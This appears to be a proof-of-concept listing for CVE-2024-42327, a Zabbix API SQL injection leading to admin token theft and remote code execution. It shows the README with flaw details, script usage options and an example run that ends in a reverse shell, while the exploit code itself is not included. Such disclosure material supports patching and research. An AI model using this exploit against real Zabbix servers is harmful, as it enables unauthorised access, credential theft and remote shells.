CVE-2024-42327 PoC — Zabbix SQL注入漏洞

Source

Associated Vulnerability

Description

POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE

Readme

# CVE-2024-42327: Zabbix Privilege Escalation -> RCE

## Description

This Proof-of-Concept (POC) can be used to exploit CVE-2024-42327 to leak the admin API authentication token and create an item to achieve a reverse shell on a Zabbix server < 6.0.32rc1, 6.4.17rc1, 7.0.1rc1

A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.

Severity: 9.9 CRITICAL Vector:  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## Usage

```text
usage: zabbix_privesc.py [-h] -t URL -u USERNAME -p PASSWORD [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME]
                         [--row ROW] [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]

POC for CVE-2024-42327 (Zabbix admin API token leak)

options:
  -h, --help            show this help message and exit
  -t, --url URL         Zabbix Target URL
  -u, --username USERNAME
                        Zabbix username
  -p, --password PASSWORD
                        Zabbix password
  --listen-ip LISTEN_IP
                        Listening IP / Interface
  --listen-port LISTEN_PORT
                        Listening Port
  --threads THREADS     Threads
  --sleep-time SLEEP_TIME
                        Sleep time
  --row ROW             Row index
  --length LENGTH       Max length
  -a, --useragent USERAGENT
                        User agent to use when sending requests
  -x, --proxy PROXY     HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag
```

## Example

```sh
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] Authenticating ...
[+] Login successful! USER API auth token: d0a05dfe4ce768f62e22bda4057c7c19
[*] Starting data extraction ...
[*] Extracting admin API auth token: af186c156b27a0c3f688b43f58c911c9
[*] Getting host IDs ...
[*] host.get response: {'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] Starting listener and sending reverse shelll ...
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
```

## References

- [Zabbix Support](https://support.zabbix.com/browse/ZBX-25623)
- [NIST CVE-2024-42327](https://nvd.nist.gov/vuln/detail/CVE-2024-42327)

File Snapshot

 [4.0K]  /data/pocs/da5fa0e0d614a8d733a8cf9473f89c0b63cce097
├── [2.6K]  README.md
└── [8.2K]  zabbix_privesc.py

0 directories, 2 files

Remarks